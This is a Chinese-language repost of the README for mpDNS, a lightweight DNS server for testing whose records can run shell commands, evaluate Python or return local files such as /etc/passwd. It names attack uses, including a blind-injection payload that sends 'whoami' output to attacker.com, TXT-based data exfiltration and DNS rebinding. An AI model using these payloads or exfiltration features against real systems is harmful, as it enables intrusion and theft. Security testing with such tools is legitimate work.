| 副标题[/!--empirenews.page--] 简单、可配置的“ clone和run ”DNS服务器,具有多种有用的功能。 适用于Python 2和3 names.db – >包含所有自定义记录(参见示例) 简单的通配符,,如* .example.com 捕获unicode dns请求 自定义动作又称宏: - {{shellexec::dig google.com +short}} – >执行shell命令并使用result响应  - {{eval::res = '1.1.1.%d' % random.randint(0,256)}}- >评估你的python代码  - {{file::/etc/passwd}} – >回复本地文件内容  - {{resolve}} – >将DNS请求转发到本地系统DNS  - {{resolve::example.com}} – >解析example.com而不是原始记录  - {{echo}} – >回复对等地址  - {{shellexec::echo %PEER% %QUERY%}} – >使用变量 
 
 支持的查询类型:A,CNAME,TXT 更新names.db记录而不重启/重新加载./mpdns.py -e 重度基于https://github.com/circuits/circuits/blob/master/examples/dnsserver.py 用法: ./mpdns.py 编辑names.db,./mpdns.py -e无需重启 进攻和防守目的: 1.您需要一个轻量级的简单DNS服务器解决方案用于测试目的(不生产!) 2.测试Web应用程序中的各种盲注漏洞(例如/ping.php?ip=$(dig $(whoami).attacker.com)) 3.在一个TXT查询中轻松渗透65K数据 4.DNS重新绑定 5.对特定查询执行自定义宏操作(在恶意软件分析实验室环境中很有用) 6.还有更多。它是高度可定制的。 安装 git clone https://github.com/nopernik/mpDNS 限制 1.由于UDP数据报限制为65535字节,DNS响应限制在约65200字节,  此限制适用于TXT分成256字节块的记录,直到响应达到最大允许值65200b,  因此TXT宏记录{{file:localfile.txt}}限制为65200字节。 2.不支持嵌套通配符 test.*.example.com 3.{{resolve::example.com}}宏中不支持自定义DNS服务器解析程序 4.TTL始终设为0 例子 names.db示例: # Empty configuration will result in empty but valid responses # # Unicode domain names are not supported but still can be catched by the server. # for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response passwd.example.com    TXT     {{file::/etc/passwd}}  #comments are ignored shellexec            TXT     {{shellexec::whoami}} eval                TXT     {{eval::import random; res = random.randint(1,500)}} resolve1            A       {{resolve}} resolve2            A       {{resolve::self}}      #same as previous resolve3            A       {{resolve::example.com}} blabla.com            A       5.5.5.5 *                    A       127.0.0.1 *.example.com        A        7.7.7.7 c1.example.com        CNAME    c2.example.com c2.example.com        CNAME    c3.example.com c3.example.com        CNAME    google.example.com google.example.com    CNAME    google.com test.example.com    A        8.8.8.8 google.com            A        {{resolve::self}} notgoogle.com        A        {{resolve::google.com}} 
 使用names.db示例输出示例: (编辑:宣城站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |